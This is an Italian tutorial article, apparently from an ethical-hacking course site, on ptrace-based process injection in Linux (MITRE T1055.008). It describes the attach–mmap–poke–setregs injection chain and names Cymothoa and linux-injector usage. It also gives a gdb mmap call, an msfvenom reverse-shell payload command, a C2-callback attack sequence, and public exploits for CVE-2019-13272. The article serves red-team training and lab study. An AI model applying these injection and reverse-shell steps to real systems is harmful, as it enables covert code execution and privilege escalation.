Iniezione via Ptrace: Ptrace System Calls (T1055.008)

La tecnica T1055.008 descrive l'abuso della system call ptrace di Linux per iniettare codice arbitrario nello spazio di indirizzamento di un processo vittima già in esecuzione. Nata come primitiva di debugging — è il meccanismo su cui poggiano gdb e strace — ptrace consente al processo tracciante di leggere e modificare memoria, registri e flusso di esecuzione del target, aprendo la porta a manipolazioni offensive quando l'attaccante ottiene i privilegi necessari per attaccarsi a un processo.

MITRE colloca la tecnica sotto due tattiche: TA0004 Privilege Escalation, perché eseguire codice nel contesto di un processo più privilegiato consente di ereditarne le capability, e TA0005 Defense Evasion, perché il payload eredita il nome, il PID space e la reputazione del processo host, mimetizzandosi rispetto a EDR e regole comportamentali che ragionano per nome-processo.

Sul piano della kill chain, l'iniezione ptrace si posiziona tipicamente dopo una fase di Initial Access ed Execution: l'attaccante ha già una shell non privilegiata o un impianto in user space e cerca di risalire verso root o di annidarsi in un demone di lunga durata. Il pattern operativo canonico è chiamare PTRACE_ATTACH sul PID bersaglio, allocare memoria eseguibile con malloc o mmap, scrivere shellcode tramite PTRACE_POKETEXT/PTRACE_POKEDATA, riscrivere il registro d'istruzione con PTRACE_SETREGS e infine detach. I dati MITRE associano a questa tecnica il malware PACEMAKER (S1109), che usa ptrace per leggere memoria di processi target.

Su un laboratorio Linux isolato, la simulazione di T1055.008 parte dalla verifica del parametro kernel che governa la disponibilità della syscall: cat /proc/sys/kernel/yama/ptrace_scope restituisce un valore tra 0 (ptrace libero verso qualsiasi processo della stessa UID) e 3 (ptrace disabilitato). Su distribuzioni moderne il default è 1, cioè solo processi figli o processi con PTRACE_TRACER dichiarato via prctl.

Per un red team engagement realistico, il tool di riferimento è linux-injector (open source, disponibile su GitHub), che implementa esattamente la catena PTRACE_ATTACH → mmap → POKETEXT → SETREGS → DETACH documentata da MITRE. In alternativa, Cymothoa (open source, storicamente su SourceForge) inietta shellcode persistente in processi in esecuzione con la sintassi cymothoa -p -s <shellcode_id>. Chi preferisce un approccio più chirurgico può usare gdb (open source) in modalità scriptata: gdb -p seguito da call (void)mmap(0,4096,7,34,-1,0)* e call (int)mprotect(...) consente di caricare payload senza scrivere codice C dedicato.

Lo shellcode può essere generato con msfvenom (open source, incluso in Metasploit Framework) tramite msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT= -f raw. Un pattern didattico consiste nell'agganciarsi a un processo dello stesso utente — un'istanza di sleep o di bash forkata volutamente — per osservare la meccanica senza toccare demoni di sistema.

La catena d'attacco tipica in un assessment segue queste fasi:

  • Ricognizione dei processi target con ps -eo pid,uid,cmd e filtro su quelli della stessa UID compromessa
  • Verifica dello scope ptrace corrente e delle capability disponibili (getcap, capsh --print)
  • Preparazione dello shellcode e test in un processo controllato
  • Attach, injection e detach
  • Validazione del callback C2 e cleanup della memoria modificata

Per scenari di privilege escalation lecita in lab, vale la pena esplorare CVE noti che abilitavano ptrace cross-UID (es. CVE-2019-13272 su kernel pre-5.1.17) tramite gli exploit pubblici presenti su exploit-db (gratuito). Per test in container, ricordare che ptrace richiede la capability CAP_SYS_PTRACE: un container con --cap-add=SYS_PTRACE o --privileged diventa un vettore realistico di container breakout da valutare nel report finale.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.
We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.